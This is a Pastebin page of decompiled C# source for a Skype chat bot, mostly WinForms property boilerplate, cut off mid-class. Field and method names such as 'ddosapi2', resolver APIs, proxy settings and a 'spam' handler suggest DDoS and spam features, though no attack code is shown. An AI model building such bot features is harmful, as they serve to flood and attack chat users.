Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using ChatterBotAPI;
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using SKYPE4COMLib;
- using SkypeBot.My;
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Diagnostics;
- using System.Drawing;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Net.Mail;
- using System.Net.Sockets;
- using System.Runtime.CompilerServices;
- using System.Runtime.InteropServices;
- using System.Security.Cryptography;
- using System.Text;
- using System.Text.RegularExpressions;
- using System.Threading;
- using System.Windows.Forms;
- namespace SkypeBot
- {
- [DesignerGenerated, OptionText]
- public class Form1 : Form
- {
- [OptionText]
- public enum proxyq
- {
- highqualityproxy = 3,
- anonymousproxy = 2,
- transparentproxy = 1
- }
- [OptionText, CompilerGenerated]
- internal class _Closure$__1
- {
- [OptionText, CompilerGenerated]
- internal class _Closure$__2
- {
- public string[] $VB$Local_b;
- public Form1._Closure$__1 $VB$NonLocal_$VB$Closure_ClosureVariable_1;
- [DebuggerNonUserCode]
- public _Closure$__2()
- {
- }
- [DebuggerNonUserCode]
- public _Closure$__2(Form1._Closure$__1._Closure$__2 other)
- {
- bool flag = other != null;
- if (flag)
- {
- this.$VB$Local_b = other.$VB$Local_b;
- }
- }
- [CompilerGenerated]
- public void _Lambda$__3()
- {
- this.$VB$NonLocal_$VB$Closure_ClosureVariable_1.$VB$Local_msg.Chat.SendMessage(Conversions.ToString(this.$VB$NonLocal_$VB$Closure_ClosureVariable_1.$VB$Me.youtube(this.$VB$Local_b[checked(this.$VB$Local_b.Length - 1)])));
- }
- }
- public ChatMessage $VB$Local_msg;
- public Form1 $VB$Me;
- [DebuggerNonUserCode]
- public _Closure$__1()
- {
- }
- [DebuggerNonUserCode]
- public _Closure$__1(Form1._Closure$__1 other)
- {
- bool flag = other != null;
- if (flag)
- {
- this.$VB$Local_msg = other.$VB$Local_msg;
- this.$VB$Me = other.$VB$Me;
- }
- }
- [CompilerGenerated]
- public void _Lambda$__4()
- {
- this.$VB$Me.AI1(this.$VB$Local_msg);
- }
- [CompilerGenerated]
- public void _Lambda$__5()
- {
- this.$VB$Me.AI2(this.$VB$Local_msg);
- }
- [CompilerGenerated]
- public void _Lambda$__6()
- {
- this.$VB$Me.processcommand(this.$VB$Local_msg);
- }
- }
- [OptionText, CompilerGenerated]
- internal class _Closure$__3
- {
- public ChatMessage $VB$Local_msg;
- public Form1 $VB$Me;
- [DebuggerNonUserCode]
- public _Closure$__3(Form1._Closure$__3 other)
- {
- bool flag = other != null;
- if (flag)
- {
- this.$VB$Local_msg = other.$VB$Local_msg;
- this.$VB$Me = other.$VB$Me;
- }
- }
- [DebuggerNonUserCode]
- public _Closure$__3()
- {
- }
- [CompilerGenerated]
- public void _Lambda$__7()
- {
- this.$VB$Me.spam(this.$VB$Local_msg);
- }
- }
- private static List<WeakReference> __ENCList = new List<WeakReference>();
- private IContainer components;
- [AccessedThroughProperty("FormSkin1")]
- private FormSkin _FormSkin1;
- [AccessedThroughProperty("Button10")]
- private FlatButton _Button10;
- [AccessedThroughProperty("NFI")]
- private NotifyIcon _NFI;
- [AccessedThroughProperty("FlatContextMenuStrip1")]
- private FlatContextMenuStrip _FlatContextMenuStrip1;
- [AccessedThroughProperty("ShowHideToolStripMenuItem1")]
- private ToolStripMenuItem _ShowHideToolStripMenuItem1;
- [AccessedThroughProperty("ExitToolStripMenuItem1")]
- private ToolStripMenuItem _ExitToolStripMenuItem1;
- [AccessedThroughProperty("FlatButton1")]
- private FlatButton _FlatButton1;
- [AccessedThroughProperty("FlatLabel1")]
- private FlatLabel _FlatLabel1;
- [AccessedThroughProperty("FlatTabControl1")]
- private FlatTabControl _FlatTabControl1;
- [AccessedThroughProperty("Settings")]
- private TabPage _Settings;
- [AccessedThroughProperty("FlatLabel3")]
- private FlatLabel _FlatLabel3;
- [AccessedThroughProperty("Button9")]
- private FlatButton _Button9;
- [AccessedThroughProperty("Button7")]
- private FlatButton _Button7;
- [AccessedThroughProperty("Button6")]
- private FlatButton _Button6;
- [AccessedThroughProperty("GroupBox1")]
- private FlatGroupBox _GroupBox1;
- [AccessedThroughProperty("Button4")]
- private FlatButton _Button4;
- [AccessedThroughProperty("Button2")]
- private FlatButton _Button2;
- [AccessedThroughProperty("Button1")]
- private FlatButton _Button1;
- [AccessedThroughProperty("TextBox1")]
- private TextBox _TextBox1;
- [AccessedThroughProperty("FlatGroupBox1")]
- private FlatGroupBox _FlatGroupBox1;
- [AccessedThroughProperty("TextBox2")]
- private FlatTextBox _TextBox2;
- [AccessedThroughProperty("Button3")]
- private FlatButton _Button3;
- [AccessedThroughProperty("Log")]
- private TabPage _Log;
- [AccessedThroughProperty("Admins")]
- private TabPage _Admins;
- [AccessedThroughProperty("IPWhitelist")]
- private TabPage _IPWhitelist;
- [AccessedThroughProperty("Button15")]
- private FlatButton _Button15;
- [AccessedThroughProperty("TextBox7")]
- private FlatTextBox _TextBox7;
- [AccessedThroughProperty("TabPage1")]
- private TabPage _TabPage1;
- [AccessedThroughProperty("FlatLabel5")]
- private FlatLabel _FlatLabel5;
- [AccessedThroughProperty("FlatTextBox1")]
- private FlatTextBox _FlatTextBox1;
- [AccessedThroughProperty("FlatLabel4")]
- private FlatLabel _FlatLabel4;
- [AccessedThroughProperty("FlatToggle2")]
- private FlatToggle _FlatToggle2;
- [AccessedThroughProperty("FlatToggle1")]
- private FlatToggle _FlatToggle1;
- [AccessedThroughProperty("FlatButton2")]
- private FlatButton _FlatButton2;
- [AccessedThroughProperty("FlatTextBox2")]
- private FlatTextBox _FlatTextBox2;
- [AccessedThroughProperty("FlatLabel6")]
- private FlatLabel _FlatLabel6;
- [AccessedThroughProperty("FlatLabel7")]
- private FlatLabel _FlatLabel7;
- [AccessedThroughProperty("FlatLabel8")]
- private FlatLabel _FlatLabel8;
- [AccessedThroughProperty("FlatLabel2")]
- private FlatLabel _FlatLabel2;
- [AccessedThroughProperty("FlatLabel14")]
- private FlatLabel _FlatLabel14;
- [AccessedThroughProperty("CheckBox6")]
- private CheckBox _CheckBox6;
- [AccessedThroughProperty("FlatLabel15")]
- private FlatLabel _FlatLabel15;
- [AccessedThroughProperty("CheckBox1")]
- private CheckBox _CheckBox1;
- [AccessedThroughProperty("FlatLabel9")]
- private FlatLabel _FlatLabel9;
- [AccessedThroughProperty("FlatGroupBox2")]
- private FlatGroupBox _FlatGroupBox2;
- [AccessedThroughProperty("Button5")]
- private FlatButton _Button5;
- [AccessedThroughProperty("TextBox3")]
- private FlatTextBox _TextBox3;
- [AccessedThroughProperty("FlatNumeric1")]
- private NumericUpDown _FlatNumeric1;
- [AccessedThroughProperty("FlatButton3")]
- private FlatButton _FlatButton3;
- [AccessedThroughProperty("Panel1")]
- private Panel _Panel1;
- [AccessedThroughProperty("FlatLabel17")]
- private FlatLabel _FlatLabel17;
- [AccessedThroughProperty("FlatLabel16")]
- private FlatLabel _FlatLabel16;
- [AccessedThroughProperty("FlatLabel10")]
- private FlatLabel _FlatLabel10;
- [AccessedThroughProperty("Button13")]
- private FlatButton _Button13;
- [AccessedThroughProperty("TextBox5")]
- private FlatTextBox _TextBox5;
- [AccessedThroughProperty("FlatLabel11")]
- private FlatLabel _FlatLabel11;
- [AccessedThroughProperty("Button12")]
- private FlatButton _Button12;
- [AccessedThroughProperty("TextBox4")]
- private FlatTextBox _TextBox4;
- [AccessedThroughProperty("FlatLabel18")]
- private FlatLabel _FlatLabel18;
- [AccessedThroughProperty("FlatLabel12")]
- private FlatLabel _FlatLabel12;
- [AccessedThroughProperty("Button14")]
- private FlatButton _Button14;
- [AccessedThroughProperty("TextBox6")]
- private FlatTextBox _TextBox6;
- [AccessedThroughProperty("FlatButton4")]
- private FlatButton _FlatButton4;
- [AccessedThroughProperty("TabPage2")]
- private TabPage _TabPage2;
- [AccessedThroughProperty("FlatLabel22")]
- private FlatLabel _FlatLabel22;
- [AccessedThroughProperty("FlatTextBox6")]
- private FlatTextBox _FlatTextBox6;
- [AccessedThroughProperty("FlatLabel21")]
- private FlatLabel _FlatLabel21;
- [AccessedThroughProperty("FlatTextBox5")]
- private FlatTextBox _FlatTextBox5;
- [AccessedThroughProperty("FlatLabel20")]
- private FlatLabel _FlatLabel20;
- [AccessedThroughProperty("FlatTextBox4")]
- private FlatTextBox _FlatTextBox4;
- [AccessedThroughProperty("FlatLabel19")]
- private FlatLabel _FlatLabel19;
- [AccessedThroughProperty("FlatLabel13")]
- private FlatLabel _FlatLabel13;
- [AccessedThroughProperty("FlatTextBox3")]
- private FlatTextBox _FlatTextBox3;
- [AccessedThroughProperty("FlatLabel23")]
- private FlatLabel _FlatLabel23;
- [AccessedThroughProperty("FlatButton8")]
- private FlatButton _FlatButton8;
- [AccessedThroughProperty("FlatButton7")]
- private FlatButton _FlatButton7;
- [AccessedThroughProperty("FlatButton6")]
- private FlatButton _FlatButton6;
- [AccessedThroughProperty("FlatButton5")]
- private FlatButton _FlatButton5;
- [AccessedThroughProperty("ListBox1")]
- private ListBox _ListBox1;
- [AccessedThroughProperty("WebBrowser1")]
- private WebBrowser _WebBrowser1;
- public const string version = "5.1.0.7";
- public int state;
- public bool launched;
- private string banmsg;
- public string api;
- public string ddosapi2;
- private ChatterBotFactory factory;
- private ChatterBot AIb;
- private ChatterBotSession AISession;
- private bool adminst;
- private string resapi;
- private string resapi2;
- private string cacheapi;
- private int lockst;
- private object Evaluator1;
- private bool swag;
- public Skype Skypattach;
- private string trigger;
- internal virtual FormSkin FormSkin1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FormSkin1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FormSkin1 = value;
- }
- }
- internal virtual FlatButton Button10
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button10;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button10_Click);
- bool flag = this._Button10 != null;
- if (flag)
- {
- this._Button10.Click -= value2;
- }
- this._Button10 = value;
- flag = (this._Button10 != null);
- if (flag)
- {
- this._Button10.Click += value2;
- }
- }
- }
- internal virtual NotifyIcon NFI
- {
- [DebuggerNonUserCode]
- get
- {
- return this._NFI;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._NFI = value;
- }
- }
- internal virtual FlatContextMenuStrip FlatContextMenuStrip1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatContextMenuStrip1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatContextMenuStrip1 = value;
- }
- }
- internal virtual ToolStripMenuItem ShowHideToolStripMenuItem1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._ShowHideToolStripMenuItem1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.ShowHideToolStripMenuItem1_Click);
- bool flag = this._ShowHideToolStripMenuItem1 != null;
- if (flag)
- {
- this._ShowHideToolStripMenuItem1.Click -= value2;
- }
- this._ShowHideToolStripMenuItem1 = value;
- flag = (this._ShowHideToolStripMenuItem1 != null);
- if (flag)
- {
- this._ShowHideToolStripMenuItem1.Click += value2;
- }
- }
- }
- internal virtual ToolStripMenuItem ExitToolStripMenuItem1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._ExitToolStripMenuItem1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.ExitToolStripMenuItem1_Click);
- bool flag = this._ExitToolStripMenuItem1 != null;
- if (flag)
- {
- this._ExitToolStripMenuItem1.Click -= value2;
- }
- this._ExitToolStripMenuItem1 = value;
- flag = (this._ExitToolStripMenuItem1 != null);
- if (flag)
- {
- this._ExitToolStripMenuItem1.Click += value2;
- }
- }
- }
- internal virtual FlatButton FlatButton1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatButton1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.FlatButton1_Click);
- bool flag = this._FlatButton1 != null;
- if (flag)
- {
- this._FlatButton1.Click -= value2;
- }
- this._FlatButton1 = value;
- flag = (this._FlatButton1 != null);
- if (flag)
- {
- this._FlatButton1.Click += value2;
- }
- }
- }
- internal virtual FlatLabel FlatLabel1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel1 = value;
- }
- }
- internal virtual FlatTabControl FlatTabControl1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatTabControl1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatTabControl1 = value;
- }
- }
- internal virtual TabPage Settings
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Settings;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._Settings = value;
- }
- }
- internal virtual FlatLabel FlatLabel3
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel3;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel3 = value;
- }
- }
- internal virtual FlatButton Button9
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button9;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button9_Click);
- bool flag = this._Button9 != null;
- if (flag)
- {
- this._Button9.Click -= value2;
- }
- this._Button9 = value;
- flag = (this._Button9 != null);
- if (flag)
- {
- this._Button9.Click += value2;
- }
- }
- }
- internal virtual FlatButton Button7
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button7;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button7_Click);
- bool flag = this._Button7 != null;
- if (flag)
- {
- this._Button7.Click -= value2;
- }
- this._Button7 = value;
- flag = (this._Button7 != null);
- if (flag)
- {
- this._Button7.Click += value2;
- }
- }
- }
- internal virtual FlatButton Button6
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button6;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button6_Click);
- bool flag = this._Button6 != null;
- if (flag)
- {
- this._Button6.Click -= value2;
- }
- this._Button6 = value;
- flag = (this._Button6 != null);
- if (flag)
- {
- this._Button6.Click += value2;
- }
- }
- }
- internal virtual FlatGroupBox GroupBox1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._GroupBox1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._GroupBox1 = value;
- }
- }
- internal virtual FlatButton Button4
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button4;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button4_Click);
- bool flag = this._Button4 != null;
- if (flag)
- {
- this._Button4.Click -= value2;
- }
- this._Button4 = value;
- flag = (this._Button4 != null);
- if (flag)
- {
- this._Button4.Click += value2;
- }
- }
- }
- internal virtual FlatButton Button2
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button2;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button2_Click);
- bool flag = this._Button2 != null;
- if (flag)
- {
- this._Button2.Click -= value2;
- }
- this._Button2 = value;
- flag = (this._Button2 != null);
- if (flag)
- {
- this._Button2.Click += value2;
- }
- }
- }
- internal virtual FlatButton Button1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button1_Click);
- bool flag = this._Button1 != null;
- if (flag)
- {
- this._Button1.Click -= value2;
- }
- this._Button1 = value;
- flag = (this._Button1 != null);
- if (flag)
- {
- this._Button1.Click += value2;
- }
- }
- }
- internal virtual TextBox TextBox1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._TextBox1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._TextBox1 = value;
- }
- }
- internal virtual FlatGroupBox FlatGroupBox1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatGroupBox1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatGroupBox1 = value;
- }
- }
- internal virtual FlatTextBox TextBox2
- {
- [DebuggerNonUserCode]
- get
- {
- return this._TextBox2;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._TextBox2 = value;
- }
- }
- internal virtual FlatButton Button3
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button3;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button3_Click);
- bool flag = this._Button3 != null;
- if (flag)
- {
- this._Button3.Click -= value2;
- }
- this._Button3 = value;
- flag = (this._Button3 != null);
- if (flag)
- {
- this._Button3.Click += value2;
- }
- }
- }
- internal virtual TabPage Log
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Log;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._Log = value;
- }
- }
- internal virtual TabPage Admins
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Admins;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._Admins = value;
- }
- }
- internal virtual TabPage IPWhitelist
- {
- [DebuggerNonUserCode]
- get
- {
- return this._IPWhitelist;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._IPWhitelist = value;
- }
- }
- internal virtual FlatButton Button15
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button15;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button15_Click);
- bool flag = this._Button15 != null;
- if (flag)
- {
- this._Button15.Click -= value2;
- }
- this._Button15 = value;
- flag = (this._Button15 != null);
- if (flag)
- {
- this._Button15.Click += value2;
- }
- }
- }
- internal virtual FlatTextBox TextBox7
- {
- [DebuggerNonUserCode]
- get
- {
- return this._TextBox7;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.TextBox7_TextChanged);
- bool flag = this._TextBox7 != null;
- if (flag)
- {
- this._TextBox7.TextChanged -= value2;
- }
- this._TextBox7 = value;
- flag = (this._TextBox7 != null);
- if (flag)
- {
- this._TextBox7.TextChanged += value2;
- }
- }
- }
- internal virtual TabPage TabPage1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._TabPage1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._TabPage1 = value;
- }
- }
- internal virtual FlatLabel FlatLabel5
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel5;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel5 = value;
- }
- }
- internal virtual FlatTextBox FlatTextBox1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatTextBox1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatTextBox1 = value;
- }
- }
- internal virtual FlatLabel FlatLabel4
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel4;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel4 = value;
- }
- }
- internal virtual FlatToggle FlatToggle2
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatToggle2;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- FlatToggle.CheckedChangedEventHandler obj = new FlatToggle.CheckedChangedEventHandler(this.FlatToggle2_CheckedChanged);
- bool flag = this._FlatToggle2 != null;
- if (flag)
- {
- this._FlatToggle2.CheckedChanged -= obj;
- }
- this._FlatToggle2 = value;
- flag = (this._FlatToggle2 != null);
- if (flag)
- {
- this._FlatToggle2.CheckedChanged += obj;
- }
- }
- }
- internal virtual FlatToggle FlatToggle1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatToggle1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatToggle1 = value;
- }
- }
- internal virtual FlatButton FlatButton2
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatButton2;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.FlatButton2_Click);
- bool flag = this._FlatButton2 != null;
- if (flag)
- {
- this._FlatButton2.Click -= value2;
- }
- this._FlatButton2 = value;
- flag = (this._FlatButton2 != null);
- if (flag)
- {
- this._FlatButton2.Click += value2;
- }
- }
- }
- internal virtual FlatTextBox FlatTextBox2
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatTextBox2;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatTextBox2 = value;
- }
- }
- internal virtual FlatLabel FlatLabel6
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel6;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel6 = value;
- }
- }
- internal virtual FlatLabel FlatLabel7
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel7;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel7 = value;
- }
- }
- internal virtual FlatLabel FlatLabel8
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel8;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel8 = value;
- }
- }
- internal virtual FlatLabel FlatLabel2
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel2;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel2 = value;
- }
- }
- internal virtual FlatLabel FlatLabel14
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel14;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel14 = value;
- }
- }
- internal virtual CheckBox CheckBox6
- {
- [DebuggerNonUserCode]
- get
- {
- return this._CheckBox6;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.CheckBox6c);
- bool flag = this._CheckBox6 != null;
- if (flag)
- {
- this._CheckBox6.CheckedChanged -= value2;
- }
- this._CheckBox6 = value;
- flag = (this._CheckBox6 != null);
- if (flag)
- {
- this._CheckBox6.CheckedChanged += value2;
- }
- }
- }
- internal virtual FlatLabel FlatLabel15
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel15;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel15 = value;
- }
- }
- internal virtual CheckBox CheckBox1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._CheckBox1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.CheckBox1_CheckedChanged);
- bool flag = this._CheckBox1 != null;
- if (flag)
- {
- this._CheckBox1.CheckedChanged -= value2;
- }
- this._CheckBox1 = value;
- flag = (this._CheckBox1 != null);
- if (flag)
- {
- this._CheckBox1.CheckedChanged += value2;
- }
- }
- }
- internal virtual FlatLabel FlatLabel9
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel9;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel9 = value;
- }
- }
- internal virtual FlatGroupBox FlatGroupBox2
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatGroupBox2;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatGroupBox2 = value;
- }
- }
- internal virtual FlatButton Button5
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button5;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button5_Click);
- bool flag = this._Button5 != null;
- if (flag)
- {
- this._Button5.Click -= value2;
- }
- this._Button5 = value;
- flag = (this._Button5 != null);
- if (flag)
- {
- this._Button5.Click += value2;
- }
- }
- }
- internal virtual FlatTextBox TextBox3
- {
- [DebuggerNonUserCode]
- get
- {
- return this._TextBox3;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.TextBox3_TextChanged);
- bool flag = this._TextBox3 != null;
- if (flag)
- {
- this._TextBox3.TextChanged -= value2;
- }
- this._TextBox3 = value;
- flag = (this._TextBox3 != null);
- if (flag)
- {
- this._TextBox3.TextChanged += value2;
- }
- }
- }
- internal virtual NumericUpDown FlatNumeric1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatNumeric1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatNumeric1 = value;
- }
- }
- internal virtual FlatButton FlatButton3
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatButton3;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.FlatButton3_Click);
- bool flag = this._FlatButton3 != null;
- if (flag)
- {
- this._FlatButton3.Click -= value2;
- }
- this._FlatButton3 = value;
- flag = (this._FlatButton3 != null);
- if (flag)
- {
- this._FlatButton3.Click += value2;
- }
- }
- }
- internal virtual Panel Panel1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Panel1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._Panel1 = value;
- }
- }
- internal virtual FlatLabel FlatLabel17
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel17;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel17 = value;
- }
- }
- internal virtual FlatLabel FlatLabel16
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel16;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel16 = value;
- }
- }
- internal virtual FlatLabel FlatLabel10
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel10;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel10 = value;
- }
- }
- internal virtual FlatButton Button13
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button13;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._Button13 = value;
- }
- }
- internal virtual FlatTextBox TextBox5
- {
- [DebuggerNonUserCode]
- get
- {
- return this._TextBox5;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.TextBox5_TextChanged);
- bool flag = this._TextBox5 != null;
- if (flag)
- {
- this._TextBox5.TextChanged -= value2;
- }
- this._TextBox5 = value;
- flag = (this._TextBox5 != null);
- if (flag)
- {
- this._TextBox5.TextChanged += value2;
- }
- }
- }
- internal virtual FlatLabel FlatLabel11
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel11;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel11 = value;
- }
- }
- internal virtual FlatButton Button12
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button12;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._Button12 = value;
- }
- }
- internal virtual FlatTextBox TextBox4
- {
- [DebuggerNonUserCode]
- get
- {
- return this._TextBox4;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.TextBox4_TextChanged);
- bool flag = this._TextBox4 != null;
- if (flag)
- {
- this._TextBox4.TextChanged -= value2;
- }
- this._TextBox4 = value;
- flag = (this._TextBox4 != null);
- if (flag)
- {
- this._TextBox4.TextChanged += value2;
- }
- }
- }
- internal virtual FlatLabel FlatLabel18
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel18;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel18 = value;
